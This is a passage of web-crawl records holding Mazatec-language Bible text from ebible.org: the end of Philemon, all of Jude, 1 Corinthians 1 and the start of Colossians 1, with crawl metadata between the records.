xi tjín‑lè, nga i̱t'aà tsi̱ji‑né, nga jye ndaà tìnìjetakoìn ini̱ma̱‑la̱ jñà xi̱ta̱‑la̱ Nainá.\nKó tsò Pablo nga chja̱tjì Onésimo\n8 K'oa̱á ma‑ne na̱s'ín i̱t'aà ts'e̱ Cristo tjí'nde‑na̱ nga kìnè‑lè mé kjoa̱ xi s'i̱in, ta̱nga mìtsà ko̱s'ín tìbìt'in‑lè. 9 Ta jngoò kjo̱ndaà tísíjé‑lè, nga̱ tíjiìn‑ná nga tjòcha 'yaá xinguia̱á. Ko̱ jyeé tíjiìn‑lè, 'a̱n Pablo, jyeé xi̱ta̱ jchínga‑ná, ti̱koa̱ nda̱yá tìjna̱a'ya xi jè nga̱tjì‑la̱ Cristo Jesús. 10 K'oa̱á ma‑ne nga tísíjé jngoò‑lè kjo̱ndaà nga ndaà chjoétjoì jè Onésimo xi koni ki'ndí‑na̱ komà nga kòkjeiín‑la̱ 'én ndaà‑la̱ Nainá xi 'a̱n tsibeno̱jmí‑la̱ nga i̱ tìjna̱a'ya nda̱yá.\n11 Nga sa̱ kjòtseé, jè Onésimo, jngoò xi̱ta̱ chi̱'nda xi mìkiì ndaà kjòchjeén‑lè, ta̱nga i̱'ndei̱ jyeé ndaà ko̱chjeén‑ná ingajoá. 12 Tìsìkasén ìjngoò k'a‑lè, 'a̱n nga 'ñó matsjake̱. 13 Ndaá‑la s'e̱ tsà i̱ kíjnako̱‑na mé‑ne nga si̱ìchját'aà‑na koni tsà ji̱ tìnìchját'aà‑ná, k'e̱ nga ta̱kó nda̱yá tìjna̱a'ya nga jè nga̱tjì‑la̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo. 14 Ta̱nga majìn‑na nga kjo̱'ñó siìkíjna tsà ngaji̱ mìkiì tíjngoò takoìn, mé‑ne jè kjo̱ndaà xi tìsìjé‑lè mì kjo̱'ñó ko̱ma‑lè; ini̱ma̱‑lè kji̱nchrobàjiìn. 15 Tsà koi na̱chrjein, jè Onésimo, koií kjoa̱‑la̱ tsasìt'aà xìn chiba na̱chrjein‑lè mé‑ne i̱'ndei̱ ko̱ma chjoétjò ìjngoò k'a‑ne nga ya̱ kíjnako̱ kjit'aà‑lè. 16 Ta̱nga kì k'oa̱á s'ín 'ya takoìn koni tsà jngoò xi ta̱xki̱ chi̱'nda; ìsa̱á 'ñó ndaà jcha̱takoìn koni tsà jngoò 'ndsì xi 'ñó ndaà matsjachi. 'A̱n, 'ñó matsjake̱; ta̱nga ngaji̱ ìsa̱á 'ñó ti̱tsjachi mìtsà ta koi kjoa̱‑la̱ nga chi̱'nda tsi̱ji ko̱ma, koi‑né nga jyeé 'ndsè chibà i̱t'aà ts'e̱ Cristo.\n17 Tsà kixi̱í kjoa̱ nga k'oa̱s'ín 'yatakòn‑ná nga 'ndseé chibá i̱t'aà ts'e̱ Cristo, chjoétjoì Onésimo koni tsà 'a̱n xi tichjoétjò‑ná. 18 Tsà tjín mé kjoa̱ xi ch'o kisìko̱‑lè, koa̱ tsà mé xi kitje̱n‑t'in‑lè, 'a̱án ti̱kichjí‑ná. 19 'A̱n, Pablo, 'a̱n sobá tìkjiì‑lè xo̱jo̱n jè. 'A̱n kíchjiá yije xi tje̱n‑la̱. Mìkiì mochjeén nga 'a̱n ko̱xán‑lè, jyeé tíjiìn‑lè nga 'a̱án kitje̱n‑t'in‑ná kjoa̱binachon‑lè. 20 Ndí 'ndsè, k'oa̱á s'ín tìsìjé‑lè nga kàtasakó jngoò‑na̱ kjo̱ndaà i̱t'aà tsi̱ji, koni s'ín ok'ìn‑la̱ nga 'ndseé chibá i̱t'aà ts'e̱ Na̱'èn‑ná; ti̱je takoìn ini̱ma̱‑na̱ i̱t'aà ts'e̱ Cristo. 21 Be‑ná nga sìkitasòn‑né; k'oa̱á ma‑ne nga tìsìkasén‑lè xo̱jo̱n jè; skanda 'beé‑la̱ takoàn, nga ìsa̱á tsatoó s'i̱in koni s'ín tìxan‑lè. 22 K'oa̱á ti̱s'ín tìxan‑lè nga ti̱kíjnandaà jngoò‑ná i̱'nde ñánda ma síkjáya. K'oa̱á s'ín tìkoña nga jè Nainá kji̱'nchré‑né koni s'ín titsa̱nokjoàt'aà‑là, nga tsjá'nde‑na nga ko̱ma kjíkon‑nò.\n'Én‑la̱ Pablo xi fehet'aà‑ne\n23 Tísíhixat'aà‑lè Epafras, xinguia̱á xi ngásòn nda̱yá titsa̱jna‑je̱n nga jè nga̱tjì‑la̱ Cristo Jesús. 24 Ti̱koa̱á tísíhixat'aà‑lè Marcos, Aristarco, Demas ko̱ Lucas, xi síchját'aà‑na kjoa̱ ts'e̱ xá xi tìs'iaàn.\n25 Jè kàtìjnajiìn ini̱ma̱‑nò kjo̱ndaà‑la̱ Jesucristo xi otíxoma‑ná.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/ebible.org\/maaNT\/PHM01.htm","date":"2021-10-22T13:26:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585507.26\/warc\/CC-MAIN-20211022114748-20211022144748-00451.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":548,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.234,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Xo̱jo̱n carta xi kiskiì San Judas\n1\n1 'A̱n, Judas xi chi̱'nda‑la̱ Jesucristo ma, ko̱ 'ndsè ma Jacobo, tìkjiì‑nò jñò xi xó kinokjoà‑nò nga tjòkeè‑nò Nainá xi Na̱'èn‑ná ma, ko̱ nga jè Jesucristo síkinda̱‑nò. 2 Tse kjo̱hi̱ma̱takòn ko̱ kjoa̱'nchán ko̱ kjoa̱tjòcha kàtatsjá‑nò Nainá.\nKjo̱'in xi tjoé‑la̱ jñà xi̱ta̱ xi jahas'en‑jiìn'ma na̱xa̱ndá‑la̱ Nainá nga 'én ndiso okóya\n(2 Pedro 2:1‑17)\n3 Ndí 'ndsè xi 'ñó matsjake̱‑nò, kjòtseé tjín‑ne nga mejèn‑na skiì‑nò koni s'ín ngásòn kisìko̱‑ná Nainá nga tsachrjekàjiìn‑ná kjo̱'in kjoa̱ ts'e̱ jé‑ná. Ta̱nga i̱'ndei̱ mochjeén‑né nga tìkjiì‑nò mé‑ne nga ma bítsi'ba‑nò nga 'ñó ti̱xkàtjiò jè kjo̱tíxoma koni s'ín mokjeiín‑nò xi xó k'oa̱s'ín jngoò k'a kis'eno̱jmí‑la̱ xi̱ta̱ tsjeè‑la̱ Nainá. 4 Tjín i'nga xi̱ta̱ xi jahas'en‑jiìn'ma‑nò. Jñà xi̱ta̱ koi, kjòtseé k'oa̱s'ín tjínè‑la̱ nga kjo̱'in s'e̱‑la̱ koni tsò Xo̱jo̱n‑la̱ Nainá. Jñà xi̱ta̱ koi, ch'oó s'ín; mìkiì beèxkón Nainá. Síkjatjìyaá‑la̱ kjo̱ndaà‑la̱ Nainá; koií síkitasòn kjoa̱ ch'o xi síjé yijo‑la̱. Ochrjenguií Jesucristo xi ta jè ta̱jngoò otíxoma‑ná.\n5 Jñò, na̱s'ín jye tíjiìn‑nò kjoa̱ koi, ta̱nga ìjngoò k'a tìsìkítsjeèn‑nò, jè Nainá tsachrjekàjiìn xi̱ta̱ na̱xa̱ndá Israel ján Egipto, ta̱nga xi jye komà i̱skan, ìjngoò k'a kisìkjehesòn jñà xi̱ta̱ xi mìkiì kòkjeiín‑la̱ i̱t'aà ts'e̱. 6 K'oa̱á ti̱ komàt'in jñà àkja̱le̱ xi mìkiì ndaà tsibìtsa̱jnajiìn xá xi kjònga̱tsja, ta̱ sa̱á kitsjeiìn takòn i̱'nde xi kitjoé‑la̱. Tje̱n‑ne na̱chrjein jè, skanda i̱'ndei̱, Nainá, na'ñó ki̱cha̱ cadena tjít'aà'ñó‑la̱ ni̱ta̱ mé na̱chrjein‑ne, ya̱ ñánda i̱'ndei̱ jñò choòn, skanda jè na̱chrjein k'e̱ nga si̱ndaàjiìn. 7 K'oa̱á ti̱s'ín komàt'in jñà na̱xa̱ndá Sodoma ko̱ Gomorra ko̱ na̱xa̱ndá xi ya̱ chrañàt'aà‑la̱ kjiyijò nga kjoa̱chijnguií kis'iìn nga nguì ta kjoa̱ch'o ts'e̱ yijo‑la̱ kiìtji̱ngui‑la̱. Na̱xa̱ndá koi, ngats'iì xi̱ta̱ xi tjín, ni'ín kisìkjehesòn. Nainá k'oa̱á s'ín tsibíjna jngoò‑ná chi̱ba̱ ni'ín xi ts'e̱ kjo̱'in xi mìkiì bits'o ni̱ta̱ kjé‑ne.\n8 Jñà xi̱ta̱ xi jahas'en‑jiìn'ma‑nò, k'oa̱á ti̱s'ín tà nijñá tí'biì‑la̱, nchihótsji jé‑la̱ yijo‑la̱, ochrjengui kjo̱tíxoma‑la̱ Na̱'èn‑ná, chja̱jno‑la̱ jñà nga'ñó xi mìkiì tsejèn. 9 Jè Miguel xi àkja̱le̱ ítjòn, mìtsà 'én 'ngaá kiìchja̱ko̱ jè xi̱ta̱ nei̱í k'e̱ nga kiskaàn‑ya‑ne yijo‑la̱ Moisés; mìtsà kó kitsò‑la̱ mé kjo̱'in xi tjoé‑la̱; ta kitsò‑la̱: \"Nainá kàtatsjá‑lè kjo̱'in.\" 10 Ta̱nga jñà xi̱ta̱ koi, chja̱ kondra̱á‑la̱ kjoa̱ xi mìkiì tíjiìn‑la̱. Ko̱ jñà kjoa̱ xi tíjiìn‑la̱, k'oa̱á s'ín síchjeén koni cho̱ xi tsjìn‑la̱ kjo̱hítsjeèn nga ti yijo ts'e̱ síkits'ón‑ne.\n11 ¡I̱ma̱ xó‑ne xi̱ta̱ koi, nga jè ndi̱yá‑la̱ Caín kiìtji̱ngui‑la̱! K'oa̱á ti̱ tjín jé xi tsohótsji koni kis'iìn Balaam ta̱ jè kjoa̱‑la̱ nga to̱n síkijne. K'oa̱á s'ín ki̱yá koni s'ín k'en Coré koií kjoa̱‑la̱ nga kondra̱ kiì‑la̱ Nainá. 12 Jñà xi̱ta̱ koi k'e̱ nga ya̱ báhijtako̱‑nò nga s'eí‑la̱ Na̱'èn‑ná tjín‑nò, síkits'ón‑jiìn‑nò, mìkiì masobà‑la̱ k'e̱ nga kjèn‑ko̱‑nò. Ta yijo‑la̱á sís'in‑la̱. K'oa̱á ngaya‑la̱ koni ifi xi mìtsà jtsí tji̱ko̱, xki̱ xi ján fìko̱ tjo̱; koni yá xi bixòjen xka̱‑la̱ nga mì toò ojà‑la̱ i̱kjoàn tjánè ko̱ i̱ma̱‑la̱, jngoó k'a biyaà. 13 Jñà xi̱ta̱ koi, k'oa̱á ngaya‑la̱ koni xó‑la̱ ndáchikon nga bíxteèn tjé‑la̱ ya̱ i̱ndiì‑la̱ nga okó kjoa̱sobà‑la̱; koni ni'ño xi kisìchja ndi̱yá‑la̱, ko̱ k'oa̱á s'ín tjínè‑la̱ nga ya̱ kítsa̱jna ñánda i̱'nde jñò choòn ni̱ta̱ mé na̱chrjein‑ne.\n14 Jè Enoc xi ma‑ne itoò tje̱‑la̱ Adán xi ya̱ inchrobàt'aà‑ne; k'oa̱á ti̱s'ín tsibíjna 'én i̱t'aà ts'e̱ xi̱ta̱ koi k'e̱ nga kitsò: \"Chítsejèn‑là Na̱'èn‑ná nga tínchrobá, kjìn jchán jmiì ma àkja̱le̱‑la̱ xi tji̱ko̱, 15 nga koi̱ìndaàjiìn‑la̱ ngats'iì xi̱ta̱ mé‑ne nga tsjá‑la̱ kjo̱'in ngats'iì xi̱ta̱ xi jé tjín‑la̱ koni tjín kjoa̱ ch'o xi kis'iìn, jñà xi mìkiì beèxkón Nainá nga ch'o tsò 'én xi chja̱jno‑la̱.\" 16 Jñà xi̱ta̱ koi, kjit'aà na̱chrjein nchihojé, chja̱jno‑la̱ ngats'iì kjoa̱. Ta koi ótsji kjoa̱ xi mochjeén‑la̱ yijo‑la̱. K'e̱ nga chja̱ko̱ xi̱ta̱, ndaà síkítsa̱jna yijo‑la̱, ta 'én sin 'én ndaà chja̱; ta jè xi mejèn‑la̱ nga si̱ìkijne mé xi mejèn‑la̱.\nKjoa̱ kixi̱ xi si̱nè‑la̱ xi̱ta̱\n17 Ta̱nga jñò ndí 'ndsè xi matsjake̱‑nò, ti̱kítsjeèn koni s'ín jye kiìchja̱ko̱ ítjòn‑nò jñà xi̱ta̱ xi tsibíxáya‑la̱ Na̱'èn‑ná Jesucristo, 18 nga kitsò‑nò: \"K'e̱ nga jye kjoe̱het'aà na̱chrjein, s'e̱é xi̱ta̱ xi tà ki̱jno̱keè xi kjoa̱ kixi̱. K'oa̱á s'ín ko̱jchájiìn kjoa̱ch'o xi síjé yijo‑la̱ nga mìkiì beèxkón Nainá.\" 19 Xi̱ta̱ koi, xi̱ta̱ na̱xa̱ndá‑la̱ Nainá síjòya. Kjo̱hítsjeèn‑la̱ i̱sò'nde tjín‑la̱ nga tsjìn‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá.\n20 Ta̱nga jñò ndí 'ndsè xi matsjake̱‑nò, 'ñó kixi̱ ti̱nchako̱o jè kjoa̱ tsjeè‑la̱ Nainá xi mokjeiín‑nò. Tìtsi'ba‑là Nainá nga jè Ini̱ma̱ Tsjeè‑la̱ kàtasíchi̱ya‑nò. 21 Ti̱kinda̱a yijo‑nò nga kjit'aà na̱chrjein kàtas'e‑nò kjoa̱tjòcha‑la̱ Nainá. Chíña‑la kjoa̱ i̱ma̱ takòn‑la̱ Na̱'èn‑ná Jesucristo, mé‑ne nga tsjá‑nò kjoa̱binachon xi mìkiì fehet'aà ni̱ta̱ kjé‑ne.\n22 Jcha̱ i̱ma̱ takòn nga ti̱si̱ko̱ò jñà xi̱ta̱ xi jò beè‑la̱ ikon. 23 Ko̱ jñà xi̱ta̱ xi i'nga, ni̱to̱ón ti̱náchrjekàjñoò jñà kjoa̱ ch'o xi s'ín nga jyeé kjo̱meè ya̱ bixòjiìn ni'ín ts'e̱ kjo̱'in. Jcha̱ i̱ma̱ takòn i'nga ta̱nga t'e̱en kinda̱ yijo‑nò tsà ti̱koa̱ ya̱ ska̱jñoò jé‑la̱. Ti̱nachrjekànguioò kjoa̱ ts'e̱ jé‑la̱. Skanda jñà nikje tjé‑la̱ ti̱nachrjenguioò.\nJeya kàtìjna Nainá\n24 Jè Nainá xi ma‑la̱ síkinda̱‑nò mé‑ne nga mìkiì ki̱xo̱nguioò. Tsjeè síkítsa̱jna‑nò ya̱ nguixko̱n kjoa̱ jeya‑la̱ nga ni̱mé jé sa̱kò‑nò ko̱ 'ñó s'e̱‑nò kjo̱tsja. 25 Jè Nainá xi ta jè ta̱jngoò ma‑ne nga ochrjekàjiìn‑ná kjo̱'in xi i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo, ta jè ta̱jngoò xi jeya kàtìjna, 'nga kàtìjna; kàtas'e‑la̱ kjo̱tíxoma; kàtas'e‑la̱ nga'ñó; skanda kjòtseé, ko̱ na̱chrjein i̱'ndei̱, ko̱ skanda ni̱ta̱ kjé‑ne. K'oa̱s'ín kàtama.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/ebible.org\/maaNT\/JUD01.htm","date":"2021-10-22T11:56:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585507.26\/warc\/CC-MAIN-20211022114748-20211022144748-00599.warc.gz","language":"maa","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.000008463859558}","num_words":791,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.306,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Xo̱jo̱n carta‑la̱ San Pablo xi kiskiì ítjòn‑la̱ xi̱ta̱ na̱xa̱ndá‑la̱ Cristo xi títsa̱jna Corinto\n1\nKó tsò Pablo nga síhixat'aà jñà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo xi títsa̱jna Corinto\n1 'A̱n xi 'mì‑na Pablo, xi xó k'oa̱s'ín kinokjoà‑na nga 'a̱n tsibíxáya‑na Cristo Jesús, nga k'oa̱s'ín kjòmejèn‑la̱ Nainá. Titsa̱nìhixat'aà‑nòje̱n ko̱ Sóstenes xi 'ndseé chibá i̱t'aà ts'e̱ Cristo. 2 Tìkjiì‑nò xo̱jo̱n carta jè, jñò xi na̱xa̱ndá‑la̱ Cristo maà xi titsa̱jnaà ján Corinto, xi jye kisìtsjeè‑nò Nainá nga ya̱ titsa̱kjoòko̱o Cristo Jesús nga xó k'oa̱s'ín jaàjiìn‑nò Nainá mé‑ne nga xi̱ta̱ tsjeè‑la̱ ko̱maà ko̱ ngats'iì xi̱ta̱ xi xki̱ xi ján chja̱t'aà‑la̱ nga jeya síkíjna jè Na̱'èn‑ná Jesucristo xi otíxoma‑ná, ti̱koa̱ jè otíxoma‑la̱ xi̱ta̱ koi. Xi Na̱'èn‑ná 'mì‑lá, ti̱koa̱ Na̱'èn‑ná tsò‑la̱ jñà xi̱ta̱ koi. 3 Nainá xi Na̱'èn‑ná, ko̱ jè Jesucristo xi otíxoma‑ná kàtatsjá‑nò kjo̱ndaà ko̱ kjoa̱'nchán ya̱ i̱jiìn ini̱ma̱‑nò.\n'Én xi kiìchja̱ Pablo nga tsjá‑la̱ kjo̱ndaà Nainá\n4 Kjit'aà na̱chrjein tsjaà‑la̱ kjo̱ndaà Nainá xi i̱t'aà tsa̱jòn koií kjoa̱‑la̱ jñà kjo̱ndaà xi kitsjaà‑nò Nainá nga ndaà kisìchikon‑t'in‑nò i̱t'aà ts'e̱ Cristo Jesús. 5 Nga̱ ya̱á i̱t'aà ts'e̱ Cristo, Nainá kisìchikon‑t'in yije kjo̱hítsjeèn‑la̱ ini̱ma̱‑nò, kós'ín nokjoà, ko̱ kós'ín machi̱ya‑nò 'én‑la̱ Nainá. 6 Nga̱ k'oa̱á s'ín 'ya‑la̱, nga jè 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo kjòkixi̱yaá i̱jiìn ini̱ma̱‑nò. 7 Ni̱mé kjo̱tjò‑la̱ Nainá chijat'aà‑nò k'e̱ nga tákó titsa̱chiñá‑là nga kjoi̱í ìjngoò k'a Jesucristo xi otíxoma‑ná. 8 Nainá tsjá‑nò nga'ñó skanda k'e̱ nga kjoe̱het'aà na̱chrjein, mé‑ne nga ni̱mé jé sa̱kòt'aà‑nò k'e̱ nga ki̱tjojen ìjngoò k'a Jesucristo xi otíxoma‑ná. 9 Nainá xi̱ta̱ kixi̱‑né, síkitasòn‑né koni s'ín tsjá 'én‑la̱. Xó k'oa̱á s'ín kiìchja̱‑nò nga ya̱ chrañà ki̱tsa̱jnakjoòko̱o Jesucristo xi ki'ndí‑la̱ tsò‑la̱ nga jè otíxoma‑ná.\nMé‑ne kjòjòya‑ne na̱xa̱ndá‑la̱ Cristo ján Corinto\n10 Ndí 'ndsè ko̱ tichjaá, i̱t'aà ts'e̱ o̱kixi̱ xi kitsjaà‑na Jesucristo xi otíxoma‑ná, tìbitsi'bà‑nò ngats'ioò, ngásòn ngáya titsa̱jnako̱o xinguio̱o, mé‑ne nga mì ko̱jòya‑ne kjo̱hítsjeèn‑nò. Ta̱jngoò kjo̱hítsjeèn ti̱kjeén, ngásòn jchósòn‑là ni̱ta̱ mé kjoa̱‑ne. 11 Koií ko̱xan‑nò ndí 'ndsè, nga jñà xi̱ta̱ ni'ya‑la̱ Cloé, tsibéno̱jmí‑na̱ nga kjoa̱siì tjín‑nò. 12 Koií k'oa̱s'ín tìxan‑nò, tjín i'nga xi̱ta̱ xinguia̱á xi tsò: \"'A̱n, jé Pablo fìt'aà‑la̱.\" Tjín xi tsò: \"'A̱n, jè Apolos fìt'aà‑la̱.\" Tjín xi tsò: \"'A̱n, jè Cefas [xi ti̱koa̱ Pedro 'mì] fìt'aà‑la̱.\" Tjín xi tsò: \"'A̱n, jè Cristo fìt'aà‑la̱.\" ¿Mé‑ne o̱bixón‑nò? 13 ¿A kjìn ya ma‑ne Cristo? ¡Majìn! ¿A jè Pablo xi kisit'aà krò i̱t'aà tsa̱jòn? ¡Majìn! ¿A i̱t'aà ts'e̱é Pablo komà bautizar? ¡Majìn! 14 Ndaà chjí‑la̱ Nainá, 'a̱n, mìtsà yá xi̱ta̱ kis'iaàn bautizar ya̱ na̱xa̱ndá tsa̱jòn, ta jè Crispo ko̱ Gayo, 15 mé‑ne nga mì yá xi̱ta̱ ki̱tso̱‑ne: \"I̱t'aà ts'e̱é Pablo komà bautizar.\" 16 Sa̱á tíbítsjeèn‑na nga ti̱koa̱ kis'iaàn bautizar Estéfanas ko̱ xi̱ta̱ xíkjín, ta̱nga mìkiì bítsjeèn‑na̱ tsà kis'iaàn bautizar xi kj'ei̱í xi̱ta̱. 17 Jè Cristo mìtsà koi xá kisìkasén‑na nga xi̱ta̱ s'iaàn bautizar; koií xá kisìkasén‑na nga 'a̱n kichjàya 'én ndaà‑la̱ Nainá. K'e̱ nga chjàya, mìtsà 'én‑la̱ xi̱ta̱ chji̱ne̱ sìkjeén; majìn‑na nga chi̱ja nga'ñó‑la̱ krò‑la̱ Cristo.\nJè Cristo, nga'ñó‑la̱ Nainá‑né ko̱ kjoa̱chji̱ne̱‑la̱ Nainá‑né\n18 Jñà 'én xi tínokjoáya i̱t'aà ts'e̱ Cristo nga k'en‑t'aà krò, ta kjoa̱ ská ma‑la̱ jñà xi̱ta̱ xi ya̱ tjímaya ndi̱yá‑la̱ i̱'nde kjo̱'in. Ta̱nga jñá xi jye titsa̱bitjokàjñaá kjo̱'in, k'oa̱á s'ín mokjeiín‑ná nga jè 'én‑la̱ Cristo nga'ñó‑la̱ Nainá‑né. 19 K'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò:\nJñà xi̱ta̱ xi 'ñó tjín‑la̱ kjoa̱ chji̱ne̱,\n'a̱án kokoò‑la̱ nga ni̱mé chjí‑la̱ kjoa̱chji̱ne̱‑la̱.\n'A̱án kochrjeènguia kjo̱hítsjeèn‑la̱\njñà xi̱ta̱ xi 'ñó machi̱ya‑la̱.\n20 Jñà xi̱ta̱ xi 'ñó tjín‑la̱ kjoa̱chji̱ne̱, ko̱ xi 'ñó chji̱ne̱ xo̱jo̱n ko̱ xi joóya‑ne kjoa̱ xi tjín i̱sò'nde, i̱'ndei̱, ¿ñánda títsa̱jnako̱ kjoa̱chji̱ne̱‑la̱? Jè Nainá, kisìskáya‑la̱ kjoa̱chji̱ne̱ xi tjín‑la̱ xi̱ta̱ i̱sò'nde. 21 Nainá 'ñó xi̱ta̱ chji̱ne̱, mìkiì kitsjaà'nde‑la̱ xi̱ta̱ nga i̱t'aà ts'e̱ kjoa̱chji̱ne̱‑la̱ i̱sò'nde kijtseèxkon. Nainá k'oa̱á s'ín sasén‑la̱ nga ochrjekàjiìn kjo̱'in jñà xi mokjeiín‑la̱ i̱t'aà ts'e̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo, 'én xi tsò‑la̱ xi̱ta̱ koi, kjoa̱ ská‑né.\n22 Jñà xi̱ta̱ judío [mìkiì mokjeiín‑la̱] nga jé xi mejèn‑la̱ nga skoe̱ kjo̱xkón xi 'ñó jeya tjín, ko̱ jñà xi mìtsà xi̱ta̱ judío [ti̱koa̱á mìkiì mokjeiín‑la̱] nga koií ótsji xi 'ñó kjoa̱ chji̱ne̱. 23 Ta̱nga ngaje̱n k'oa̱á s'ín nokjoàya‑je̱n nga krò k'en‑t'aà Cristo [xi̱ta̱ xi xó kisìkasén‑ne Nainá]. Jñà xi̱ta̱ judío mìkiì mokjeiín‑la̱ kjoa̱ xi komàt'in Cristo, ko̱ jñà xi mì xi̱ta̱ judío, kjoa̱ ská ma‑la̱. 24 Ta̱nga jñà xi̱ta̱ xi xó jaàjiìn‑ne Nainá, xi xi̱ta̱ judío ko̱ xi mìtsà xi̱ta̱ judío, k'oa̱á s'ín mokjeiín‑la̱ nga jè Cristo nga'ñó‑la̱ Nainá‑né ko̱ kjoa̱ chji̱ne̱‑la̱ Nainá‑né. 25 Kjoa̱‑la̱ Nainá xi ta kjoa̱ ská tsò‑la̱ xi̱ta̱ i̱sò'nde, kjoa̱ chji̱ne̱‑la̱ Nainá‑né. Ìsa̱á tse kjoa̱chji̱ne̱ tjín‑la̱ mì k'oa̱á‑ne koni kjoa̱chji̱ne̱ xi tjín‑la̱ xi̱ta̱ i̱sò'nde. Ko̱ jè kjoa̱‑la̱ Nainá xi ta kjoa̱ indaà tsò‑la̱ xi̱ta̱ i̱sò'nde, nga'ñó‑la̱ Nainá‑né. Ìsa̱á tse nga'ñó tjín‑la̱ mì k'oa̱‑ne koni nga'ñó xi tjín‑la̱ xi̱ta̱ i̱sò'nde.\n26 Jñò ndí 'ndsè ko̱ ndí tichjaá, ti̱kítsjeèn k'e̱ nga sa̱ jaàjiìn‑nò Nainá, chibaá ma‑nò xi xi̱ta̱ chji̱ne̱ tsò‑nò xi̱ta̱ i̱sò'nde, ko̱ chibaá ma‑nò xi xi̱ta̱ ítjòn titsa̱jnaà, ti̱koa̱ chibaá ma‑nò xi ya̱ ni'ya‑la̱ xi̱ta̱ sko̱‑la̱ kits'iòn. 27 Ta̱nga Nainá jaàjiìn jñà xi̱ta̱ xi tsò‑la̱ xi̱ta̱ i̱sò'nde nga chiba kjo̱hítsjeèn tjín‑la̱ mé‑ne ko̱sobà‑la̱ jñà xi̱ta̱ chji̱ne̱. Ti̱koa̱ jaàjiìn Nainá xi tsò‑la̱ xi̱ta̱ i̱sò'nde nga ni̱mé chjí‑la̱ mé‑ne ko̱sobà‑la̱ jñà xi̱ta̱ xi xi̱ta̱ ítjòn títsa̱jna. 28 Nainá jaàjiìn xi̱ta̱ i̱ma̱ ko̱ xi̱ta̱ xi bitjongui xi tsò‑la̱ xi̱ta̱ i̱sò'nde nga nìmé chjí‑la̱, mé‑ne ki̱tjongui‑ne jñà xi̱ta̱ xi tsò nga jñà títsa̱jna ítjòn, 29 mé‑ne ni̱jngoò xi̱ta̱ xi 'nga si̱ìkíjna‑ne yijo‑la̱ nga nguixko̱n Nainá. 30 Ta̱nga ti̱jè‑ne Nainá kisìkítsa̱jnako̱‑ná Cristo Jesús. K'oa̱á ti̱s'ín kis'iìn nga i̱t'aà ts'e̱ Cristo sakó‑ná jè kjoa̱chji̱ne̱, nga jè Cristo, xi̱ta̱ kixi̱ s'ín‑ná, xi̱ta̱ tsjeè s'ín‑ná ko̱ síkítsa̱jnandei̱í‑ná kjoa̱ ts'e̱ jé‑ná. 31 Koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Jè xi jeya síkíjna yijo‑la̱, ta sa̱á Nainá jeya kàtasíkíjna.\"","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/ebible.org\/maaNT\/1CO01.htm","date":"2021-10-23T04:12:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585561.4\/warc\/CC-MAIN-20211023033857-20211023063857-00027.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":877,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.342,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Xo̱jo̱n carta‑la̱ San Pablo xi kiskiì‑la̱ xi̱ta̱ na̱xa̱ndá‑la̱ Cristo xi títsa̱jna Colosas\n1\nKó tsò Pablo nga síhixat'aà jñà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo xi títsa̱jna Colosas\n1-2 Jñò xi xi̱ta̱ na̱xa̱ndá‑la̱ Cristo 'mì‑nò xi ján titsa̱jnaà na̱xa̱ndá Colosas nga kixi̱ onguít'aà‑là Cristo, 'a̱n xi Pablo 'mì‑na ko̱ 'ndsè Timoteo titsa̱nìhixot'aà‑nòje̱n nga 'a̱n tsibíxáya‑na Jesucristo nga k'oa̱s'ín kjòmejèn‑la̱ Nainá. Nainá xi Na̱'èn‑ná, ko̱ jè Jesucristo xi otíxoma‑ná kàtatsjá‑nò kjo̱ndaà ko̱ kjoa̱'nchán ya̱ i̱jiìn ini̱ma̱‑nò.\nKó tsò Pablo nga tsjá‑la̱ kjo̱ndaà Nainá\n3 Kjit'aà na̱chrjein k'e̱ nga nokjoàt'aà‑la̱je̱n Nainá xi i̱t'aà tsa̱jòn, 'biì‑la̱je̱n kjo̱ndaà Nainá xi Na̱'èn‑la̱ Jesucristo jè xi otíxoma‑ná. 4 Koií kjoa̱‑la̱ ngaje̱n jyeé k'oa̱s'ín kina'yà‑je̱n nga ndaà mokjeiín‑nò i̱t'aà ts'e̱ Cristo Jesús. Ti̱koa̱ matsjacha ngats'iì xi̱ta̱‑la̱ Nainá. 5 Koií k'oa̱s'ín 'nè‑nò nga titsa̱chiñá‑là nga tjoé‑nò kjo̱ndaà xi tíjnatjò‑la̱ Nainá ján ngajmiì; koni s'ín kjòchi̱ya‑nò k'e̱ nga kina'yà 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi nguì kjoa̱kixi̱. 6 Ti̱jè‑ne jè 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi jye k'oa̱s'ín kina'yà, 